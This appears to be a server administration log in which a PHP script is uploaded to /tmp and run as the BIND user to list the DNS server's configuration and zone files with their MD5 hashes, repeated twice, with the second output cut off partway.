function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 18:52:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp921091; rm /tmp/pkp921091'

2026-04-21 18:52:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 18:52:34: Establishing a connection
2026-04-21 18:52:34: 

PUT: /tmp/pkp524569

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 18:52:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp524569; rm /tmp/pkp524569'

2026-04-21 18:52:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
